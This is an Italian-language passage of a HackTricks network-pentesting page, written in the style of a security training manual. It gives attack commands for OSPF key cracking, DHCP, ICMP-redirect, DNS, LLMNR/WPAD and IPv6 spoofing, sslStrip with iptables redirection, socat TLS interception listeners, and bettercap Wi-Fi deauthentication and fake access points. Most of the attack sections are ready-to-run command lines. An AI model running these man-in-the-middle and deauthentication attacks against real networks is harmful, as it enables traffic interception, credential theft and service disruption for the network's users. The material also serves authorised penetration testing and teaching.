Nel protocollo Open Shortest Path First (OSPF) l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra router. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e crackare hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere usata per introdurre nuove informazioni di routing. Per configurare i parametri di route e impostare la chiave compromessa si utilizzano rispettivamente le tab Injection e Connection.
- Cattura e cracking di hash MD5: Strumenti come Loki e John the Ripper sono usati a questo scopo.
- Configurazione dei parametri di route: Viene fatta tramite la tab Injection.
- Impostazione della chiave compromessa: La chiave è configurata sotto la tab Connection.
Other Generic Tools & Sources
- Above: Tool per scansionare il traffico di rete e trovare vulnerabilità
- Puoi trovare ulteriori informazioni sugli network attacks qui.
Spoofing
L'attaccante configura tutti i parametri di rete (GW, IP, DNS) del nuovo membro della rete inviando risposte DHCP false.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Vedi la previous section.
ICMPRedirect
ICMP Redirect consiste nell'invio di un ICMP packet type 1 code 5 che indica che l'attacker è la via migliore per raggiungere un IP. Quindi, quando la victim vuole contattare l'IP, invierà il packet attraverso l'attacker.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
L'attaccante risolverà alcuni (o tutti) dei domini che la vittima richiede.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Configura il proprio DNS con dnsmasq
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Gateway locali
Spesso esistono più rotte verso sistemi e reti. Dopo aver compilato una lista di MAC addresses all'interno della rete locale, usa gateway-finder.py per identificare gli host che supportano IPv4 forwarding.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Spoofing LLMNR, NBT-NS, and mDNS
Per la risoluzione dei nomi locali quando le query DNS non hanno successo, i sistemi Microsoft si affidano a Link-Local Multicast Name Resolution (LLMNR) e al NetBIOS Name Service (NBT-NS). Analogamente, le implementazioni Apple Bonjour e Linux zero-configuration utilizzano Multicast DNS (mDNS) per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, che prevede l'invio di messaggi broadcast, possono essere sfruttati da attackers che mirano a reindirizzare gli utenti verso servizi malevoli.
Puoi impersonare servizi cercati dagli host usando Responder per inviare risposte false.
Read here more information about how to Impersonate services with Responder.
Spoofing WPAD
I browser comunemente impiegano il Web Proxy Auto-Discovery (WPAD) protocol per acquisire automaticamente le impostazioni del proxy. Questo comporta il recupero delle impostazioni di configurazione da un server, tipicamente tramite un URL come "http://wpad.example.org/wpad.dat". La scoperta di questo server da parte dei client può avvenire tramite diversi meccanismi:
- Through DHCP, dove la scoperta è facilitata dall'utilizzo di una voce speciale con codice 252.
- By DNS, che comporta la ricerca di un hostname etichettato wpad all'interno del dominio locale.
- Via Microsoft LLMNR and NBT-NS, che sono meccanismi di fallback usati nei casi in cui le query DNS non hanno successo.
Lo strumento Responder sfrutta questo protocollo comportandosi come un malicious WPAD server. Usa DHCP, DNS, LLMNR e NBT-NS per indurre in errore i client e farli connettere a esso. To dive deeper into how services can be impersonated using Responder check this.
Spoofing SSDP and UPnP devices
Puoi offrire diversi servizi nella rete per cercare di trick a user e indurlo a inserire delle plain-text credentials. More information about this attack in Spoofing SSDP and UPnP Devices.
IPv6 Neighbor Spoofing
Questo attacco è molto simile a ARP Spoofing ma nel mondo IPv6. Puoi far credere alla vittima che l'IPv6 del GW abbia il MAC dell'attacker.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Router Advertisement Spoofing/Flooding
Alcuni OS configurano per impostazione predefinita il gateway in base ai pacchetti RA inviati nella rete. Per dichiarare l'attaccante come router IPv6 puoi usare:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
Di default alcuni OS cercano di configurare il DNS leggendo un pacchetto DHCPv6 sulla rete. Quindi, un attacker potrebbe inviare un pacchetto DHCPv6 per configurarsi come DNS. Il DHCP fornisce inoltre un indirizzo IPv6 alla victim.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (fake page and JS code injection)
Attacchi Internet
sslStrip
In pratica quello che fa questo attacco è che, nel caso in cui l'utente provi ad accedere a una pagina HTTP che viene reindirizzata alla versione HTTPS, sslStrip manterrà una connessione HTTP con il client e una connessione HTTPS con il server, così da poter sniff la connessione in testo in chiaro.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Ulteriori informazioni here.
sslStrip+ and dns2proxy per aggirare HSTS
La differenza tra sslStrip+ and dns2proxy rispetto a sslStrip è che reindirizzeranno per esempio www.facebook.com a wwww.facebook.com (nota la extra "w") e imposteranno l'indirizzo di questo dominio come attacker IP. In questo modo, il client si connetterà a wwww.facebook.com (the attacker) ma dietro le quinte sslstrip+ manterrà la connessione reale via https con www.facebook.com.
L'obiettivo di questa tecnica è evitare HSTS perché wwww.facebook.com non verrà salvato nella cache del browser, quindi il browser sarà ingannato a eseguire facebook authentication in HTTP.
Nota che per eseguire questo attacco la vittima deve inizialmente tentare di accedere a http://www.faceook.com e non via https. Questo può essere fatto modificando i link all'interno di una pagina http.
Ulteriori informazioni here, here and here.
sslStrip or sslStrip+ non funzionano più. Questo perché ci sono regole HSTS preimpostate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante" lo farà via HTTPS. Inoltre, nota che le regole preimpostate e altre regole generate possono usare il flag includeSubdomains
quindi l'esempio wwww.facebook.com di prima non funzionerà più poiché facebook.com usa HSTS con includeSubdomains
.
TODO: easy-creds, evilgrade, metasploit, factory
Ascolto TCP sulla porta
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL in ascolto sulla porta
Generare chiavi e certificato auto-firmato
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Ascolta usando un certificato
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Ascolta usando certificate e reindirizza agli hosts
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
A volte, se il client verifica che la CA sia valida, potresti servire un certificate di un altro hostname firmato da una CA.
Un altro test interessante è servire un certificate del hostname richiesto ma self-signed.
Altre cose da testare: provare a firmare il certificate con un certificate valido che non è una CA valida. Oppure usare la public key valida, forzare l'uso di un algoritmo come diffie hellman (uno che non richiede di decrypt nulla con la reale private key) e, quando il client richiede una probe della reale private key (come un hash), inviare una probe fasulla e aspettarsi che il client non la verifichi.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Note sulla Scoperta Attiva
Tieni conto che quando un pacchetto UDP viene inviato a un dispositivo che non ha la porta richiesta viene inviato un ICMP (Port Unreachable).
ARP discover
I pacchetti ARP sono usati per scoprire quali IP sono in uso all'interno della rete. Il PC deve inviare una richiesta per ogni possibile indirizzo IP e solo quelli in uso risponderanno.
mDNS (multicast DNS)
Bettercap send a MDNS request (each X ms) asking for _services_.dns-sd._udp.local the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services".
Strumenti
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
SSDP (Simple Service Discovery Protocol)
Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900).
WSD (Web Service Discovery)
Bettercap broadcast WSD packets searching for services (UDP Port 3702).
Telecom / Mobile-Core (GTP) Exploitation
Riferimenti
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.